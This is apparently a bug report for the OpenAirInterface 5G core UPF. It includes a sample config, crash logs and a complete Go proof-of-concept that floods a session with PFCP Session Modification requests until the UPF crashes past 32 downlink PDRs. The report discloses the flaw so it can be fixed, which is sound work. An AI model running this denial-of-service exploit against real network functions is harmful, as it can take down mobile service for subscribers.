[Bug]: UPF Crash on PFCP Session Modification Request when DL PDR count exceeds 32
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=yes
Description
In BPF datapath mode, SessionManager::processPDRs() enforces MAX_PDR_PER_SESSION = 32. PFCP Session Modification requests that add more than 32 downlink PDRs for the same session throw an uncaught std::runtime_error, leading to UPF crash.
Config
config.yaml
################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1 (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
# contact@openairinterface.org
################################################################################
# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter
############# Common configuration
# Log level for all the NFs
log_level:
general: debug
# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
general: yes
http_version: 2
############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
amf:
host: oai-amf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n2:
interface_name: eth0
port: 38412
smf:
host: oai-smf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n4:
interface_name: eth0
port: 8805
upf:
host: oai-upf
sbi:
port: 8080
api_version: v1
interface_name: eth1
n3:
interface_name: eth0
port: 2152
n4:
interface_name: eth0
port: 8805
n6:
interface_name: eth1
n9:
interface_name: eth0
port: 2152
udm:
host: oai-udm
sbi:
port: 8080
api_version: v1
interface_name: eth0
udr:
host: oai-udr
sbi:
port: 8080
api_version: v1
interface_name: eth0
ausf:
host: oai-ausf
sbi:
port: 8080
api_version: v1
interface_name: eth0
nrf:
host: oai-nrf
sbi:
port: 8080
api_version: v1
interface_name: eth0
#### Common for UDR and AMF
database:
host: mysql
user: test
type: mysql
password: test
database_name: oai_db
generate_random: true
connection_timeout: 300 # seconds
## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
- &embb_slice
sst: 1
############## NF-specific configuration
amf:
pid_directory: "/var/run"
amf_name: "OAI-AMF"
# This really depends on if we want to keep the "mini" version or not
support_features_options:
enable_simple_scenario: no
enable_nssf: no
enable_smf_selection: yes
use_external_udm: no
relative_capacity: 30
statistics_timer_interval: 20 #in seconds
emergency_support: false
served_guami_list:
- mcc: 001
mnc: 01
amf_region_id: 01
amf_set_id: 001
amf_pointer: 01
plmn_support_list:
- mcc: 001
mnc: 01
tac: 0x0001
nssai:
- *embb_slice
supported_integrity_algorithms:
- "NIA1"
- "NIA2"
supported_encryption_algorithms:
- "NEA0"
- "NEA1"
- "NEA2"
smf:
ue_mtu: 1500
support_features:
use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
# we resolve from NRF, this is just to configure usage_reporting
upfs:
- host: oai-upf
config:
enable_usage_reporting: no
ue_dns:
primary_ipv4: "1.1.1.1"
primary_ipv6: "2001:4860:4860::8888"
secondary_ipv4: "8.8.8.8"
secondary_ipv6: "2001:4860:4860::8888"
ims:
pcscf_ipv4: "192.168.70.139"
pcscf_ipv6: "fe80::7915:f408:1787:db8b"
# the DNN you configure here should be configured in "dnns"
# follows the SmfInfo datatype from 3GPP TS 29.510
smf_info:
sNssaiSmfInfoList:
- sNssai: *embb_slice
dnnSmfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
local_subscription_infos:
- single_nssai: *embb_slice
dnn: "oai"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "openairinterface"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "ims"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "default"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
upf:
support_features:
enable_bpf_datapath: yes # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off
remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW
smfs:
- host: oai-smf # To be used for PFCP association in case of no-NRF
upf_info:
sNssaiUpfInfoList:
- sNssai: *embb_slice
dnnUpfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
## DNN configuration
dnns:
- dnn: "oai"
pdu_session_type: "IPV4"
ipv4_subnet: "10.0.0.0/24"
- dnn: "openairinterface"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.1.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "ims"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.9.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "default"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.255.0/24"
ipv6_prefix: "2001:1:2::/64"
Steps to reproduce
-
Start a new go project inside a new folder: go mod init poc
-
Create a main.go and paste the code below:
package main import ( "flag" "fmt" "log" "math/rand" "net" "sync/atomic" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) type pfcpClient struct { conn *net.UDPConn timeout time.Duration seq uint32 } func newPFCPClient(addr string, timeout time.Duration) (*pfcpClient, error) { udpAddr, err := net.ResolveUDPAddr("udp", addr) if err != nil { return nil, err } conn, err := net.DialUDP("udp", nil, udpAddr) if err != nil { return nil, err } return &pfcpClient{ conn: conn, timeout: timeout, seq: uint32(rand.Intn(0xffffff)), }, nil } func (c *pfcpClient) close() { _ = c.conn.Close() } func (c *pfcpClient) nextSeq() uint32 { return atomic.AddUint32(&c.seq, 1) } func (c *pfcpClient) send(msg message.Message) (message.Message, error) { payload := make([]byte, msg.MarshalLen()) if err := msg.MarshalTo(payload); err != nil { return nil, err } if _, err := c.conn.Write(payload); err != nil { return nil, err } _ = c.conn.SetReadDeadline(time.Now().Add(c.timeout)) buf := make([]byte, 4096) n, _, err := c.conn.ReadFromUDP(buf) if err != nil { return nil, err } return message.Parse(buf[:n]) } func (c *pfcpClient) associate(cpIP net.IP) error { req := message.NewAssociationSetupRequest( c.nextSeq(), ie.NewNodeID(cpIP.String(), "", ""), ie.NewRecoveryTimeStamp(time.Now()), ) resp, err := c.send(req) if err != nil { return err } if asr, ok := resp.(*message.AssociationSetupResponse); ok { if asr.Cause != nil { if cause, _ := asr.Cause.Cause(); cause != ie.CauseRequestAccepted { return fmt.Errorf("association rejected (cause=%d)", cause) } } return nil } return fmt.Errorf("unexpected association response %T", resp) } type sessionHandle struct { cpSEID uint64 upfSEID uint64 } func randomSEID() uint64 { const mask = (1 << 60) - 1 return uint64(rand.Int63()) & mask } func newDLCreateFAR(farID uint32, outerTEID uint32, gnbIP net.IP) *ie.IE { return ie.NewCreateFAR( ie.NewFARID(farID), ie.NewApplyAction(0x02), ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceAccess), ie.NewOuterHeaderCreation(0x0100, outerTEID, gnbIP.String(), "", 0, 0, 0), ), ) } func newDLCreatePDR(pdrID uint16, precedence uint32, ueIP net.IP, farID uint32) *ie.IE { return ie.NewCreatePDR( ie.NewPDRID(pdrID), ie.NewPrecedence(precedence), ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceCore), ie.NewUEIPAddress(0x02, ueIP.String(), "", 0, 0), ), ie.NewFARID(farID), ) } func (c *pfcpClient) setupDLSession(cpIP, gnbIP, ueIP net.IP, farID uint32, pdrID uint16, outerTEID uint32) (*sessionHandle, error) { cpSEID := randomSEID() req := message.NewSessionEstablishmentRequest(0, 0, cpSEID, c.nextSeq(), 0, ie.NewNodeID(cpIP.String(), "", ""), ie.NewFSEID(cpSEID, cpIP, nil), newDLCreateFAR(farID, outerTEID, gnbIP), newDLCreatePDR(pdrID, 100, ueIP, farID), ) msg, err := c.send(req) if err != nil { return nil, err } resp, ok := msg.(*message.SessionEstablishmentResponse) if !ok { return nil, fmt.Errorf("unexpected response %T", msg) } if resp.Cause != nil { if cause, _ := resp.Cause.Cause(); cause != ie.CauseRequestAccepted { return nil, fmt.Errorf("session rejected (cause=%d)", cause) } } if resp.UPFSEID == nil { return nil, fmt.Errorf("missing UPF SEID in response") } upf, err := resp.UPFSEID.FSEID() if err != nil { return nil, err } return &sessionHandle{ cpSEID: cpSEID, upfSEID: upf.SEID, }, nil } func (c *pfcpClient) addDownlinkPDR(session *sessionHandle, cpIP, gnbIP, ueIP net.IP, farID uint32, pdrID uint16, precedence uint32, outerTEID uint32) error { req := message.NewSessionModificationRequest(0, 0, session.upfSEID, c.nextSeq(), 0, ie.NewFSEID(session.cpSEID, cpIP, nil), newDLCreateFAR(farID, outerTEID, gnbIP), newDLCreatePDR(pdrID, precedence, ueIP, farID), ) _, err := c.send(req) return err } func main() { var ( pfcpAddr = flag.String("pfcp", "192.168.70.134:8805", "PFCP target (host:port)") cpIPStr = flag.String("cp-ip", "127.0.0.1", "Control-plane IPv4 (used as NodeID)") gnbIPStr = flag.String("gnb-ip", "192.168.70.134", "gNB IPv4 used in FAR outer header creation") ueIPStr = flag.String("ue-ip", "12.1.1.10", "UE IPv4 for downlink PDRs") timeout = flag.Duration("timeout", 5*time.Second, "PFCP request timeout") mods = flag.Int("mods", 64, "Number of Session Modification bursts") baseFar = flag.Uint("base-far", 5000, "Starting FAR ID for injected rules") basePdr = flag.Uint("base-pdr", 6000, "Starting PDR ID for injected rules") outerTEID = flag.Uint("outer-teid", 0xcafebabe, "TEID used in Outer Header Creation") ) flag.Parse() cpIP := net.ParseIP(*cpIPStr) gnbIP := net.ParseIP(*gnbIPStr) ueIP := net.ParseIP(*ueIPStr) if cpIP == nil || gnbIP == nil || ueIP == nil { log.Fatal("cp-ip, gnb-ip, and ue-ip must be valid IPv4 addresses") } client, err := newPFCPClient(*pfcpAddr, *timeout) if err != nil { log.Fatalf("failed to create PFCP client: %v", err) } defer client.close() if err := client.associate(cpIP); err != nil { log.Fatalf("PFCP association failed: %v", err) } log.Println("[+] PFCP association established") session, err := client.setupDLSession(cpIP, gnbIP, ueIP, uint32(*baseFar), uint16(*basePdr), uint32(*outerTEID)) if err != nil { log.Fatalf("failed to create baseline session: %v", err) } log.Printf("[+] Baseline session established: CP SEID %#x, UPF SEID %#x", session.cpSEID, session.upfSEID) for i := 0; i < *mods; i++ { farID := uint32(*baseFar) + uint32(i) + 1 pdrID := uint16(*basePdr) + uint16(i) + 1 precedence := uint32(200 + i) if err := client.addDownlinkPDR(session, cpIP, gnbIP, ueIP, farID, pdrID, precedence, uint32(*outerTEID)); err != nil { log.Fatalf("Session Modification %d failed: %v", i+1, err) } if (i+1)%10 == 0 { log.Printf("[*] Sent %d/%d modifications", i+1, *mods) } } log.Printf("[+] Completed %d Session Modification bursts", *mods) log.Println("[!] If the UPF did not crash, increase -mods or observe logs for 'Number of requested PDRs exceeds ...'") } -
Download required libraries:
go mod tidy -
Run the program with the upf pfcp server address:
go run ./main.go -pfcp 192.168.70.134:8805 -cp-ip 127.0.0.1 -gnb-ip 192.168.70.134 -ue-ip 12.1.1.10 -mods 40 -base-far 5000 -base-pdr 6000
Logs
[2025-11-17 11:26:45.863] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-11-17 11:26:45.863] [upf_app] [debug] The same subnet
[2025-11-17 11:26:45.865] [upf_n4 ] [info] handle_receive(117 bytes)
[2025-11-17 11:26:45.867] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0x1
[2025-11-17 11:26:45.867] [pfcp_switch] [warning] TODO check carrefully update fseid in PFCP_SESSION_MODIFICATION_REQUEST
[2025-11-17 11:26:45.867] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1
[2025-11-17 11:26:45.867] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x1
[2025-11-17 11:26:45.867] [upf_app] [info] Modify datapath
[2025-11-17 11:26:45.867] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x1
[2025-11-17 11:26:45.867] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-11-17 11:26:45.867] [upf_app] [debug] Retrieving teid from session seid 0x1
[2025-11-17 11:26:45.867] [upf_app] [debug] Session seid 0x1 has teid 0xcafebabe
[2025-11-17 11:26:45.867] [upf_app] [error] Number of PDRs within a PDU session exceeds 32, please either increase this number or remove some PDRs
[2025-11-17 11:26:45.946] [upf_app] [debug] There are some programs in LINKED state
[2025-11-17 11:26:45.946] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
terminate called after throwing an instance of 'std::runtime_error'
what(): Number of requested PDRs exceeds the allocated size for PDRs vector:
[2025-11-17 11:26:46.287] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-17 11:26:46.287] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-17 11:26:46.287] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-17 11:26:46.287] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-17 11:26:46.293] [system ] [info] Caught signal 11
[2025-11-17 11:26:46.293] [common] [info] Waiting ITTI tasks closed
[2025-11-17 11:26:46.299] [asc_cmd] [info] Received terminate message
[2025-11-17 11:26:46.299] [upf_n4 ] [info] Received terminate message
terminate called recursively
Expected Behaviour
When a modification request would exceed the PDR quota, the UPF should reject the request (e.g., CauseResourcesNotAvailable) and keep the existing session intact.
Observed Behaviour
After ~33 CreatePDR additions, the UPF logs “Number of requested PDRs exceeds …”, aborts with std::terminate, and the UPF crash.